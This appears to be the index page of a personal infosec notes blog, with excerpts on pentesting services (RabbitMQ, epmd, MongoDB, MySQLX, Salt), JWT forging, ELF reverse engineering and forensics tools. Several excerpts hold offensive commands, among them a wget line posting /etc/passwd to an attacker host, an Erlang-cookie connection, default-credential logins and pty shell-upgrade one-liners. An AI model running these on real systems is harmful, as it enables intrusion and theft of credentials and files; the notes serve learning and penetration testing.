akde/infosec

Information security is ultimately about managing risk

  • RabbitMQ

    A Mes­sage bro­ker, writ­ten in Erlang. Uses the Erlang Cow­boy webserver. Notes Default cre­den­tials: guest / guest (works per defalt only from localhost) User­name can be changed with­out the old pass­word on the com­mand line?!rabbitmqctl change_password username newpassword Files with suf­fix .DCD con­tain credentials. If you have the Erlang cook­ie:erl -cookie JPCGJCAEWHPKKPBXBYYB -name rabbit -sname…

  • 4369 epmd

    Erlang Port Map­per Daemon Enumeration Mandatory Check if epmd is run­ningecho -n -e "\x00\x01\x6e" | nc -vn $target 4369 Check with nmapnmap -sV -Pn -n -T4 -p 4369 --script epmd-info $target Brute force the key with https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/ and try the RCE.

  • XAMPP

    List­ing of all files from a Xampp for Win­dows 7.4.6 installation. Look into phpin­fo page — could reveals usernames.

  • wget

    Post files wget --post-file=/etc/passwd http://$attacker_ip/ Set out­put file: wget -O /tmp/s http://...

  • JWT Java Web Token

    Use https://jwt.io/ to decode JWT  It also shows the var­i­ous parts. A JWT token has mul­ti­ple parts in base64, sep­a­rat­ed by a point character. Create JWT token Cre­ate PEM SSH key: openssl genrsa -out private.pem 2048 Cre­ate base64 from head­er and payload: $ echo -n '{"typ":"JWT","alg":"RS256","kid":"http://10.10.14.17/private.pem"}' | base64 -w0 | sed s/+/-/ | sed -E s/=+$// =>…

  • openssl

    Exam­ple of a connection: openssl s_client -connect $target:995 -crlf -quiet Issues The fol­low­ing mes­sage means that the serv­er and client could not agree on a shared cryp­to sys­tem; prob­a­bly because the server’s cryp­to is too old. 139763095926080:error:1425F102:SSL routines:ssl_choose_client_version:unsupported protocol:../ssl/statem/statem_lib.c:1957: Add TLS 1 support: openssl s_client -connect $target:995 -crlf -quiet -tls1

  • 33060 MySQLX

    Enumeration Mandatory Try to connect:  Start the con­sole:/opt/mysql-shell-8.0.23-linux-glibc2.12-x86-64bit/bin# ./mysqlsh Try to con­nect with default cre­den­tials or found ones:MySQL JS > var test_conn = require('mysqlx');MySQL JS > var session = mysqlx.getSession({host: '192.168.156.58', user: 'root', password: 'root', port: 33060});

  • 4505/4506 Salt

    Enumeration Mandatory Check CVE-2020–11651 Note that exe­cu­tion of sched­uled tasks can take 5–10 minutes.

  • 27017 MongoDB

    Enumeration Try to just login. Per default, no user is required.mongodb $target Enu­mer­ate with NSE scriptsnmap -sV --script "mongo* and default" -p 27017 $target Try to con­nectmongo 'mongodb://nodebb:nodebb@192.168.91.69:27017/nodebb' Optional Try https://github.com/codingo/NoSQLMap

  • If… then…

    Enumeration Code execution I am stuck

  • Linux Binary protection

    Simple protection A pack­er can be used to “opti­mize” / “com­press” a bina­ry which on the oth­er hand also makes it hard­er to debug. A pack­er removes une­ses­sary infor­ma­tion and the mini­fi­ca­tion can lead also to obfus­ca­tion to some extend. A stan­dard tool is UPX. Min­i­mize a bina­ry with upx -9 bin.elf. Advanced protection Obfus­ca­tion…

  • Hardening ELF files

    This post describes meth­ods to transform/obfuscate/minimize Lin­ux ELF files. sstrip The sec­tions are used for debug­ging and not nec­ces­sary for a pro­gram’s exe­cu­tion. The com­mand sstrip removes all sec­tions from the file. sstrip bin.elf After the com­mand, it can be ver­i­fied with readelf --sections bin.elf that there are not sec­tions are in the file.

  • The Linux Executable and Linking Format (ELF)

    Concepts A seg­ment is a piece of a infor­ma­tion which is mapped into the mem­o­ry (of a process). A ELF bina­ry can have zero or mul­ti­ple seg­ments. It defines also where the OS should put it into the mem­o­ry. Each seg­ment has a Pro­gram Head­er which describes the sec­tions within. A sec­tion is a dis­tinc­tive…

  • Binary patching

    Overwrite functions with LD_PRELOAD The LD_PRELOAD envi­ron­ment vari­able allows to inject a library which is loaded before the pro­gram libraries. This means that it is pos­si­ble to redi­rect the exe­cu­tion flow to an inject­ed func­tion via an own library object.

  • Reverse Engineering tools for the Linux ELF

    This page col­lects tools for the Lin­ux Exe­cutable and Link­ing For­mat (ELF) with some basic commands. checksec.sh Shows which exploits mit­i­ga­tions a pro­gram has. (Source) ./checksec.sh --file file.elf GDB See the gdb post. Objdump Obj­dump shows infor­ma­tion about a bina­ry (object) file. Show the assem­ble code from a ELF file. objdump -d bin.elf Show all sym­bols (e.g.…

  • Scanning and downloading Git repositories

    Mir­ror­ing git­tyleaks: Exe­cute with­in a local repos­i­to­ry the com­mand gittyleaks --find-anything. git-secrets: Scans (only) com­mit mes­sages for sen­si­tive infor­ma­tion with git secrets --scan-history. truf­fle­Hog: Scans repos and prints out infor­ma­tion with a high entropy: Exe­cute it with trufflehog $repo_dir. git-secret-scan­ner: Scans a repo with git-secret-scanner scan -d $git_repo. Oth­er tools

  • Volatility

    See also Mem­ProcFS The foren­sic mem­o­ry frame­work Volatil­i­ty (Ver­sion 3 since 2019) offers a wide range of meth­ods to analyse mem­o­ry. See the blog post Retriev­ing mem­o­ry for meth­ods and tech­niques to obtain memory. Start by get­ting gen­er­al infor­ma­tion about a mem­o­ry dump: volatility -f image.mem imageinfo Now use the fol­low­ing com­mands to get more information:…

  • YARA

    Yet anoth­er ridi­colous acrynom is a tool for detect infor­ma­tion in bina­ry and text files. YARA rules are writen in text files.  By call­ing yara with a rule file and a file to test, it either returns noth­ing if no rule was detect­ed or one or mul­ti­ple rules which match­es the pro­vid­ed file. Exam­ple: The foll­wing rule…

  • History

    Malware (Notes are tak­en from the Try­HackMe course.) John von Neu­mann (!) cre­at­ed a con­cept of mali­cious soft­ware in 1949. The first imple­men­ta­tion was done in 1971 by Bob Thomas. The pro­gram Creep­er jumped from one sys­tem (run­ning the oper­at­ing sys­tem Tenex) to anoth­er and just print­ed a mes­sage on each console. The team Nema­tode is…

  • radare2

    Address­es with­in the mem­o­ry are ref­er­enced with @ General Start­ing with direct­ly analysing all ref­er­enced code. r2 -A $file ... e emu.str = true Start­ing with enabled debug­ger (only when I want to exe­cute the program) r2 -AA -e dbg.follow.child=true -e dbg.forks=true -d $file ... e emu.str = true Fork para­me­ter: If the process forks, the debug­ger halts Type…

About

Personal collection of some infosec stuff. Primary purpose of this site is to collect and organize for myself.

Note: Some content is not publicly visible due to copyright issues. Therefore, some links could be broken.

Checklists

Categories

Checklists: Ports

python -c 'import pty;pty.spawn("/bin/bash")';

python3 -c 'import pty;pty.spawn("/bin/bash")';